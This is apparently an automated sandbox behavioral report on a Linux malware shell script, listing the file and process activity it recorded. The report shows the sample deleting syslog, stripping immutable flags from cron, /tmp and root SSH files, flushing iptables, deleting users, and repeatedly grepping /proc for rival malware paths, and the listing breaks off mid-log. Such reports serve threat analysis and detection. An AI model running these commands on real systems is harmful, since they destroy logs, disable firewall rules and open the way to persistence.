File opened for reading /proc/12/cmdline /usr/bin/pkill N/A
File opened for reading /proc/76/status /usr/bin/pkill N/A
File opened for reading /proc/8/status /usr/bin/pkill N/A
File opened for reading /proc/14/status /usr/bin/pkill N/A
File opened for reading /proc/7/status /usr/bin/pkill N/A

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/1.sh N/A
N/A N/A /bin/ls N/A

Writes file to tmp directory

Description Indicator Process Target
File opened for modification /tmp/log_rot /tmp/script_malware/1.sh N/A

Processes

/tmp/script_malware/1.sh

[/tmp/script_malware/1.sh]

/bin/rm

[rm -rf /var/log/syslog]

/usr/bin/chattr

[chattr -iua /tmp/]

/usr/bin/chattr

[chattr -iua /var/tmp/]

/usr/bin/chattr

[chattr -R -i /var/spool/cron]

/usr/bin/chattr

[chattr -i /etc/crontab]

/sbin/iptables

[iptables -F]

/usr/bin/sudo

[sudo sysctl kernel.nmi_watchdog=0]

/usr/sbin/sendmail

[sendmail -t]

/usr/sbin/sendmail

[sendmail -t]

/sbin/sysctl

[sysctl kernel.nmi_watchdog=0]

/usr/sbin/userdel

[userdel akay]

/usr/sbin/userdel

[userdel vfinder]

/usr/bin/chattr

[chattr -iae /root/.ssh/]

/usr/bin/chattr

[chattr -iae /root/.ssh/authorized_keys]

/usr/sbin/exim4

[/usr/sbin/exim4 -Mc 1tJY2e-0000Bu-S1]

/bin/rm

[rm -rf /tmp/addres*]

/usr/sbin/exim4

[/usr/sbin/exim4 -Mc 1tJY2e-0000Bx-Rz]

/bin/rm

[rm -rf /tmp/walle*]

/bin/rm

[rm -rf /tmp/keys]

/bin/ls

[ls -latrh /proc/1]

/bin/grep

[grep exe]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/10]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/105]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/11]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/114]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/115]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/12]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/13]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/14]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/143]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/149]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/15]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/ls

[ls -latrh /proc/16]

/bin/grep

[grep exe]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/165]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/17]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/18]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/19]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/2]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/20]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/21]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/22]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/23]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/235]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/24]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/3]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/325]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/329]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/332]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/334]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/357]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/36]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/37]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/375]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/377]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/387]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/389]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/4]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/456]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/463]

/bin/grep

